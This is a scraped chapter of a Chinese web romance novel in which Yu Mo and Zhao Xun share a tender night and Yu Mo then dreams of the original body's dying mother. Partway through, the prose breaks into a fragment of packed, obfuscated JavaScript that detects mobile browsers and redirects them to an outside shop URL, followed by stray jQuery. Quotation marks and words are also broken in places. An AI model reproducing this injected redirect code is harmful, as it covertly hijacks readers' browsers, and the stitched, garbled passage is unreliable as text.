第 40 章 梦境

作品:《错认未婚夫以后

    夜深人静,唯余清风拂过花叶的簌簌响动。


    沉默中,赵浔眼神一点一点冷了下来,反复琢磨起她那句——有婚约在身,注定会相遇。


    她与江辰,注定会相遇?


    那他呢,


    他算什么。


    道不明的寒意如附骨之疽,自心口蔓延至四肢,令赵浔眉宇间仿似笼罩了淡淡霜雪,比月华愈加冻人。


    虞茉毫不避讳地打量他,眸光因困惑而明明灭灭,最后自是猜不出所以然,便微踮起脚,试图从宽厚怀抱中退离。


    岂料赵浔如惊弓之鸟,掌心滚烫,紧紧箍着她的腰腹,不容分说地将人按回胸膛。


    他倾身逼近,维持着居高临下的姿态,眼底幽深一片。


    “阿浔。”虞茉抬手轻推,他却纹丝不动,只好晓之以理,温和地道,“时辰不早了,今日且先画到这里罢。”


    赵浔置若罔闻,失了镇定的声线低沉响起,似是控诉:“你要离开我。”


    语中掺杂了几不可察的酸涩,像是鲜柠挤出来的汁水。


    “什么?”虞茉晃了晃神,而腰侧被他充作枷锁的双臂钳住,丝毫挣脱不开。


    她试图从赵浔面上读出波澜,四目相对,视线又不可避免地落在他不含情绪的薄唇。


    看似凉薄冷淡,实则从来滚烫,如同能熔化一切的岩浆。


    走神的小片刻功夫,眼前忽然暗下,竟是他以掌风熄灭了烛火。


    随着衣料摩擦之音,虞茉被他托起,轻柔的吻落在眉心、眼尾、腮畔,最后来至唇间。动作前所未有的温柔,仿佛是含着易碎的稀世宝物,眷恋而珍惜。


    她如同浸泡在暖热水流中,通体舒畅。


    推拒的指尖蜷缩起,改为依恋地拉扯着赵浔的衣襟,盼他不要停下。


    这无形之中安抚了赵浔,引导着她回搂住自己。


    距离消弭,心脏落回实处。


    虞茉被勾得意识迷离,愈发主动,小口小口吸吮他的舌尖。唇肉相贴,涎液交融,羞人水声“啧啧”作响,呼吸在不知不觉中变得粗重。


    窗外,月光倾泻而下,映照出相拥的倒影,如藤蔓缠绕枝干,密不可分。


    过了良久,她伏在赵浔胸前剧烈喘息,婉转动听的嗓音染上哑意:“阿浔,回京之后,你会变么?”


    赵浔眼底清明一瞬,垂首凝望着她,郑重地答:“在你面前,不会。”


    不论世人眼中的太子是温润,是无情,是聪颖,还是强势。


    但在虞茉面前,他只会是阿浔


    。


    闻言,她驱散心底因环境改换而升腾起的不安。指腹摩挲过喉间的一粒凸起,成功引得赵浔紧张咽动。


    而玉白面庞红了红,再不见凌厉气势,取而代之的,是虞茉所熟悉的羞赧。


    她虽猜不透方才赵浔因何异常,却清晰地感知,每每自己展露出对他的渴求,总能轻易抚慰他。


    于是勾了勾唇,潋滟如波的眸子一瞬不错地望着赵浔:“还亲吗?”


    赵浔明显错愕,旋即低低笑了笑,一手扶稳她的腰肢,一手捧起她的脸,额头相抵,带了几许喑哑道:“今日怕是不能满足你了。”


    他不愿唐突了虞茉,可某些反应,并非自己所能掌控。


    趁还来得及抽身,赵浔将蹭皱的纸张抚平,一面说起:“我已去信,令人按照你的喜好修葺宅院,等到了京中,再指派几个女护卫过去。白日里我若不得闲,你便随她们上街相看铺面,回来一并知会我。”


    “好。”虞茉也不同他客气,调笑道,“如此,勉强算你还了救命之恩?”


    赵浔一噎,昳丽的桃花眼微微上挑:“我的命竟只抵几间铺面。”


    她被逗得唇角轻弯:“那你说,值多少呢?”


    “自是无价。”赵浔神色温柔,与她脸贴着脸,“我以身相许,如何。”


    “我选铺子。”


    “……”赵浔掐掐她的腮肉,咬牙切齿道,“真是油盐不进。”


    翌日还需去庙里烧香,天蒙蒙亮便要起身。他按捺住不舍,将人抱回卧房,叮嘱虞茉早些歇息。


    虞茉渐渐困乏,含糊地应了声,拨开珠帘朝里走。


    原身生母的忌日快要到了,此番去澄明寺,一为祈福,二是为亡者供灯。


    她边拆发髻边想,原身如今亦成了亡魂,还是会与现代的自己易换?


    可惜,古人对怪力乱神之事讳莫如深,虞茉不便明目张胆地打听。


    不过依据传闻,澄明寺住持可通神佛,法力无边。虽有夸大之嫌,但来都来了,且借着安岳王府的关系方能见上一面,自然不能错过。


    万一能寻到回现代的法子呢?


    掖好被角,虞茉怀着希冀满足地阖上眼,意识朦胧间,许愿道:希望原身也能遇见机缘,从此平安顺遂。——


    浓稠夜雾在眼前翻涌,虞茉脚底发软,跌跌撞撞地朝前走。


    不知行了多久,一片死寂中,忽而透出迷幻而悠远的嗓音,莫名使她生出亲近之意。


    虞茉抬手抹了抹脸,见天幕终于照进细微光亮,视野


    虽朦胧,也总算有了实景。


    温和的声音含笑道:“茉茉乖,这个不能吃。


    旋即,秀美脸庞朝虞茉凑近,似是在面颊印了印。


    她竭力睁大眼睛,发觉自己身量极小,如同婴孩。而陌生女子容貌姣好,绾着妇人发髻,尽管涂抹了口脂,仍不掩病弱之色。


    “小姐。一妇人端着药碗进来房中。


    虞茉再度揉揉眼,认出这是照顾自己的温府陪房之一,只不过,此时瞧着尚在中年。


    她惊疑地看向被称作“小姐的病弱女子,双唇翕动,试探地道:“娘亲?


    对方显然听不见她的声音,只将苦涩的汤药一饮而尽,又用香茶漱口,确认不熏人,方抱起婴孩版的虞茉。


    静下心来仔细端详,女子与她容貌极为相似,想来便是生母温怜。


    温怜笑盈盈地替她擦拭唇角,不无宠溺地道:“茉茉怎的如此贪吃。


    陪房高氏洗净沾惹了婴孩涎液的九连环,眼底满是骄傲:“小小姐如今才不到两岁,已能将这些个玩意儿鼓捣得门清,看来,又是一个冰雪聪颖的小神童。


    听言,温怜动作一顿,神情染上悲凉。


    高氏并未觉出异常,可虞茉猜测,温怜应当已经知晓夫君另有外室并一庶女之事。


    也不知虞长庆是如何哄了惯与人为善的妻子,竟答应他,待纳妾文书备妥方公之于众。


    虞茉嗤道,渣爹定是顾忌温太傅,未免半路闹出什么波折,才先斩后奏。


    若非温怜郁结于心,不久后撒手人寰,实则,虞长庆的算盘打得着实不错——


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100954|129540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >便是为了女儿,温怜也不会和离。而但凡与温府的姻亲尚且存续,虞长庆的官途想必一路顺畅。


    待长女及笄,又与将军府联姻。


    虞家后代并旁支,可谓从此跻身京城望族之流,彻底将根扎实。


    正胡乱想着,眼前白光闪过,温怜已然换了一身衣裳,虚弱地靠着床榻。


    而虞茉似是坐在何人怀中。


    她费力仰头看去,率先映入眼帘的是男子青茬。察觉到她的视线,那人垂首,赫然是年轻版的渣爹。


    “……虞茉挣了挣,“放我下去。


    然而,胳膊拧不过大腿。虞长庆甚至短促地笑了声,用胡茬去轻刺她的脸。


    温怜见了,忙哀怨地撩一眼:“茉茉细皮嫩肉,仔细将她闹疼了。


    听得温怜开口,虞长庆显然有些受宠若惊,认错道:“我、我就是逗一逗她,茉茉从前分明挺喜


    欢的。”


    这时,门外响起一道稚嫩的声音,是柳姨娘的女儿虞蓉,急急道:“爹爹,姨娘咳血了。”


    “什么!”


    虞长庆“噌”地站起,快步往外走,行至门边,后知后觉地回头,语中满是歉意,“怜儿,我……”


    温怜置若罔闻,用绢帕擦过女儿的脸,柔声哄着:“茉茉乖,陪娘亲小睡片刻如何?”


    至此,虞茉大抵明白,自己正以上帝视角回溯过去。


    面对温怜,她有天生的好感,如同每一个黏着母亲的孩子。


    而温怜的确待她——


    准确来说,待原身极好。


    可惜缠绵病榻,只能为女儿读些诗文,或是讲些书中故事。


    场景再度变换,这回,是乳母抱着虞茉。


    温怜已经瘦得脱了相,床前坐着衣着华丽的男女,一人哭道:“妹妹,你再坚持几日,父亲已经在回京的路上,你、你别……”


    言语中刻意略去“死亡”,却无法撼动或改变什么。


    泪眼朦胧间,温怜朝女儿勉力笑了笑,旋即望向兄长,断断续续地交代:“我这一走,只担心茉茉无人照拂。江府那边,前月送信商议解除婚约,只令仪重情重义,也不知会不会应下。若成了,还请兄长接纳茉茉作儿媳,好将她光明正大领回温家。”


    “要说,你同父亲说去。”温序忍泪,“若你愿再多活两日,便叫小启和茉茉定亲。”


    “咳咳咳。”


    温怜唇角溢出血渍,眉目却舒展,笑着说,“如何是我不愿多活两日,只阎王要我三更死……不提也罢。”


    浓烈的哀伤兜头浇下,将虞茉冻得骨头缝生疼。


    此时,她辨不清是自己的情绪,亦或是原身的情绪。在小小身体里横冲直撞,试图撞破禁锢,将不舍与愤怒透过呐喊发泄出来。


    可她不能。


    再如何张启唇,也只是发出单调音节。


    而在“梦境”中人眼中,一个两岁稚子,尚不懂病痛、不知生死,面对满屋悲怆哭声,茫然地歪了歪头。


    “娘亲——”


    虞茉陡然清醒,如岸上濒死的鱼儿一般重重呼吸。她眼角无泪,却浑身是汗,鬓角早已湿透。


    作者有话要说


    感谢灌溉营养液的小天使:balaba2瓶;深浅、海水、来份麻辣香锅、云溧、TheJenny1瓶;非常感谢大家对我的支持,我会继续努力的!